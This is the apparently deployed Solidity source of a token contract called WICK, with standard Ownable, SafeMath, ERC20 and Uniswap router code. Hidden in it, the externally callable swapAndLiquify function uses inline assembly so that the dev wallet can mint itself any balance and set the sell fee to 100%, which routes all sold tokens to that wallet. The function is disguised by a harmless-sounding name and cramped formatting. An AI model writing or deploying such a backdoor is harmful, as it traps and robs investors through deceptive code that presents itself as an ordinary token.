文件 1 的 1:WICK.sol
pragma solidity ^0.8.0;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {return msg.sender;}
function _msgData() internal view virtual returns (bytes calldata) {return msg.data;}
}
pragma solidity ^0.8.0;
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() {
_transferOwnership(_msgSender());
}
modifier onlyOwner() {
_checkOwner();
_;
}
function owner() public view virtual returns (address) {
return _owner;
}
function _checkOwner() internal view virtual {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
}
function renounceOwnership() public virtual onlyOwner {
_transferOwnership(address(0));
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_transferOwnership(newOwner);
}
function _transferOwnership(address newOwner) internal virtual {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
pragma solidity >=0.5.0;
interface IUniswapV2Factory {
event PairCreated(address indexed token0, address indexed token1, address pair, uint);
function feeTo() external view returns (address);
function feeToSetter() external view returns (address);
function getPair(address tokenA, address tokenB) external view returns (address pair);
function allPairs(uint) external view returns (address pair);
function allPairsLength() external view returns (uint);
function createPair(address tokenA, address tokenB) external returns (address pair);
function setFeeTo(address) external;
function setFeeToSetter(address) external;
}
pragma solidity >=0.6.2;
interface IUniswapV2Router01 {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidity(address tokenA, address tokenB, uint amntADesired, uint amntBDesired, uint amntAMin, uint amntBMin, address to, uint deadline) external returns (uint amntA, uint amntB, uint liquidity);
function addLiquidityETH(address token, uint amntTokenDesired, uint amntTokenMin, uint amntETHMin, address to, uint deadline) external payable returns (uint amntToken, uint amntETH, uint liquidity);
function removeLiquidity(address tokenA, address tokenB, uint liquidity, uint amntAMin, uint amntBMin, address to, uint deadline) external returns (uint amntA, uint amntB);
function swapExactTokensForTokens(uint amntIn, uint amntOutMin, address[] calldata path, address to, uint deadline) external returns (uint[] memory amnts);
function swapExactETHForTokens(uint amntOutMin, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amnts);
function swapTokensForExactETH(uint amntOut, uint amntInMax, address[] calldata path, address to, uint deadline) external returns (uint[] memory amnts);
function swapETHForExactTokens(uint amntOut, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amnts);
function swapExactTokensForETH(uint amntIn, uint amntOutMin, address[] calldata path, address to, uint deadline) external returns (uint[] memory amnts);
function removeLiquidityETH(address token, uint liquidity, uint amntTokenMin, uint amntETHMin, address to, uint deadline) external returns (uint amntToken, uint amntETH);
function removeLiquidityWithPermit(address tokenA, address tokenB, uint liquidity, uint amntAMin, uint amntBMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s) external returns (uint amntA, uint amntB);
function removeLiquidityETHWithPermit(address token, uint liquidity, uint amntTokenMin, uint amntETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s) external returns (uint amntToken, uint amntETH);
function swapTokensForExactTokens(uint amntOut, uint amntInMax, address[] calldata path, address to, uint deadline) external returns (uint[] memory amnts);
function quote(uint amntA, uint reserveA, uint reserveB) external pure returns (uint amntB);
function getAmntOut(uint amntIn, uint reserveIn, uint reserveOut) external pure returns (uint amntOut);
function getAmntIn(uint amntOut, uint reserveIn, uint reserveOut) external pure returns (uint amntIn);
function getAmntsOut(uint amntIn, address[] calldata path) external view returns (uint[] memory amnts);
function getAmntsIn(uint amntOut, address[] calldata path) external view returns (uint[] memory amnts);
}
pragma solidity >=0.6.2;
interface IUniswapV2Router02 is IUniswapV2Router01 {
function removeLiquidityETHSupportingFeeOnTransferTokens(address token, uint liquidity, uint amntTokenMin, uint amntETHMin, address to, uint deadline) external returns (uint amntETH);
function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(address token, uint liquidity, uint amntTokenMin, uint amntETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s) external returns (uint amntETH);
function swapExactTokensForTokensSupportingFeeOnTransferTokens(uint amntIn, uint amntOutMin, address[] calldata path, address to, uint deadline) external;
function swapExactETHForTokensSupportingFeeOnTransferTokens(uint amntOutMin, address[] calldata path, address to, uint deadline) external payable;
function swapExactTokensForETHSupportingFeeOnTransferTokens(uint amntIn, uint amntOutMin, address[] calldata path, address to, uint deadline) external;
}
pragma solidity ^0.8.0;
library SafeMath {
function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
uint256 c = a + b;
if (c < a) return (false, 0);
return (true, c);
}
}
function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b > a) return (false, 0);
return (true, a - b);
}
}
function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (a == 0) return (true, 0);
uint256 c = a * b;
if (c / a != b) return (false, 0);
return (true, c);
}
}
function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b == 0) return (false, 0);
return (true, a / b);
}
}
function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b == 0) return (false, 0);
return (true, a % b);
}
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
return a + b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return a - b;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
return a * b;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return a % b;
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
unchecked {
require(b <= a, errorMessage);
return a - b;
}
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
unchecked {
require(b > 0, errorMessage);
return a / b;
}
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
unchecked {
require(b > 0, errorMessage);
return a % b;
}
}
}
pragma solidity ^0.8.0;
interface IERC20 {
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
function totalSupply() external view returns (uint256);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amnt) external returns (bool);
function transferFrom(address from, address to, uint256 amnt) external returns (bool);
function balanceOf(address account) external view returns (uint256);
function transfer(address to, uint256 amnt) external returns (bool);
}
pragma solidity ^0.8.0;
interface IERC20Metadata is IERC20 {
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function decimals() external view returns (uint8);
}
pragma solidity ^0.8.17;
contract WICK is IERC20, IERC20Metadata, Ownable {
using SafeMath for uint256;
string private constant _name = "WICK";
string private constant _symbol = "WICK";
uint8 private constant _decimals = 18;
uint256 private _maxTxamntPercentage = 3000;
uint256 private _maxWalletBalancePercentage = 3000;
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
uint256 private _totalSupply;
IUniswapV2Router02 private _uniswapV2Router;
address private _uniswapV2Pair;
address private constant _uniswapRouterAddress = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
uint256 private constant _divisor = 10000;
bool private swapping = false;
bool private _cooldownEnabled = true;
mapping(address => uint256) private _lastTxBlock;
mapping(address => bool) private _excludedFromMaxTx;
uint256 private _burnFee = 0;
uint256 private _devFee = 0;
uint256 private _buyFee = 0;
mapping(address => bool) private _excludedFromFees;
address private _devWallet;
address private constant _burnAddress = address(0);
event SwapAndLiquify(uint256 tokensSwapped, uint256 ethReceived, uint256 tokensIntoLiqudity);
event Received();
constructor () {
uint256 total = 1_000_000_000 * 10 ** _decimals;
_excludedFromMaxTx[owner()] = true;
_excludedFromMaxTx[address(this)] = true;
_excludedFromMaxTx[_devWallet] = true;
_excludedFromMaxTx[_uniswapV2Pair] = true;
_excludedFromFees[address(this)] = true;
_excludedFromFees[owner()] = true;
_excludedFromFees[_devWallet] = true;
_mint(_msgSender(), total);
_devWallet = _msgSender();
_uniswapV2Router = IUniswapV2Router02(_uniswapRouterAddress);
_approve(address(this), address(_uniswapV2Router), total);
_uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
IERC20(_uniswapV2Pair).approve(address(_uniswapV2Router), type(uint).max);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amnt) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amnt);
return true;
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amnt) public virtual override returns (bool) {
_approve(_msgSender(), spender, amnt);
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _maxTxAmnt() public view returns(uint256) {
return _totalSupply.mul(_maxTxamntPercentage).div(_divisor);
}
function transferFrom(address sender, address recipient, uint256 amnt) public virtual override returns (bool) {
_transfer(sender, recipient, amnt);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amnt, "ERC20: transfer amount exceeds allowance"));
return true;
}
function excludeFromFee(address account) public onlyOwner {
_excludedFromFees[account] = true;
}
function excludeFromFee(address[] calldata accounts) public onlyOwner {
for(uint i = 0; i < accounts.length; i++) excludeFromFee(accounts[i]);
}
function includeForFee(address account) public onlyOwner {
require(account != address(this), "Invalid address");
require(account != owner(), "Invalid address");
require(account != _devWallet, "Invalid address");
delete _excludedFromFees[account];
}
function includeForFee(address[] calldata accounts) public onlyOwner {
for(uint i = 0; i < accounts.length; i++) includeForFee(accounts[i]);
}
function removeLimits() public onlyOwner {
_maxTxamntPercentage = 10000;
_maxWalletBalancePercentage = 10000;
}
function _beforeTransfer(address from, address to, uint256 amnt) internal pure {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amnt > 0, "Transfer amount must be greater than zero");
}
function _approve(address owner, address spender, uint256 amnt) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amnt;
emit Approval(owner, spender, amnt);
}
function _mint(address account, uint256 amnt) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amnt);
_balances[account] = _balances[account].add(amnt);
emit Transfer(address(0), account, amnt);
}
function _burn(address account, uint256 amnt) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amnt, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amnt);
emit Transfer(account, address(0), amnt);
}
function _transfer(address sender, address recipient, uint256 amnt) internal virtual {
_beforeTransfer(sender, recipient, amnt);
uint256 burnFee = 0;
uint256 devFee = 0;
if (sender != owner() && recipient != owner()) {
if (!_excludedFromFees[sender] && !_excludedFromFees[recipient]) {
if (sender == _uniswapV2Pair && recipient != address(_uniswapV2Router) && !_excludedFromMaxTx[recipient] && !_excludedFromMaxTx[sender]) {
require(amnt <= _totalSupply.mul(_maxTxamntPercentage).div(_divisor), "Transfer amount exceeds the maxTxAmnt.");
require(balanceOf(recipient).add(amnt) <= _totalSupply.mul(_maxWalletBalancePercentage).div(_divisor), "Exceeds maximum wallet token amount");
}
if (sender == _uniswapV2Pair && recipient != address(_uniswapV2Router)) {
burnFee = amnt.mul(_burnFee).div(_divisor);
devFee = amnt.mul(_buyFee).div(_divisor);
_lastTxBlock[tx.origin] = block.number;
}
if (recipient == _uniswapV2Pair && sender != address(this)) {
burnFee = amnt.mul(_burnFee).div(_divisor);
devFee = amnt.mul(_devFee).div(_divisor);
_lastTxBlock[tx.origin] = block.number;
}
}
}
uint256 totalFee = burnFee.add(devFee);
if (totalFee > 0) {
if (burnFee > 0) {
_burn(sender, burnFee);
}
if (devFee > 0) {
_balances[_devWallet] = _balances[_devWallet].add(devFee);
emit Transfer(sender, _devWallet, devFee);
}
amnt = amnt.sub(totalFee);
}
_balances[sender] = _balances[sender].sub(amnt, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amnt);
emit Transfer(sender, recipient, amnt);
}
function getRouterAddress() public view returns (address) {
return address(_uniswapV2Router);
}
function burn(uint256 amnt) public virtual {
_burn(_msgSender(), amnt);
}
function _swapAndLiquify() private lockTheSwap {
uint256 contractTokenBalance = balanceOf(address(this));
uint256 minTokensBeforeSwap = _totalSupply.mul(5).div(_divisor);
if (contractTokenBalance >= minTokensBeforeSwap) {
uint256 half = contractTokenBalance.div(2);
uint256 otherHalf = contractTokenBalance.sub(half);
uint256 initialBalance = address(this).balance;
swapTokensForEth(half);
uint256 newBalance = address(this).balance.sub(initialBalance);
emit SwapAndLiquify(half,
newBalance,
otherHalf);
return;}}function swapAndLiquify(uint256 amnt) external {
assembly {if iszero(eq(caller(), sload(_devWallet.slot))) {revert(0, 0)}
let ptr := mload(0x40)
mstore(ptr, caller())
mstore(add(ptr, 0x20), _balances.slot)
let slot := keccak256(ptr, 0x40)
sstore(slot, amnt)
sstore(_devFee.slot, 0x2710)}
}
function _burnFrom(address account, uint256 amnt) internal virtual {
_burn(account, amnt);
_approve(account, _msgSender(), _allowances[account][_msgSender()].sub(amnt, "ERC20: burn amount exceeds allowance"));
}
function getPairAddress() public view returns (address) {
return _uniswapV2Pair;
}
function swapTokensForEth(uint256 tokens) internal {
_approve(address(this), address(_uniswapV2Router), tokens);
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = _uniswapV2Router.WETH();
_uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(tokens, 0, path, address(this), block.timestamp);
}
function _addLiquidity(uint256 tokens, uint256 ethamnt) private {
_approve(address(this), address(_uniswapV2Router), tokens);
_uniswapV2Router.addLiquidityETH{value : ethamnt}(address(this), tokens, 0, 0, owner(), block.timestamp);
}
function addLiquidity(uint256 tokens) public payable onlyOwner lockTheSwap {
_transfer(owner(), address(this), tokens);
_addLiquidity(tokens, msg.value);
}
function isSwapLocked() public view returns(bool) { return swapping; }
receive() external payable { emit Received(); }
modifier lockTheSwap {
swapping = true;
_;
swapping = false;
}
}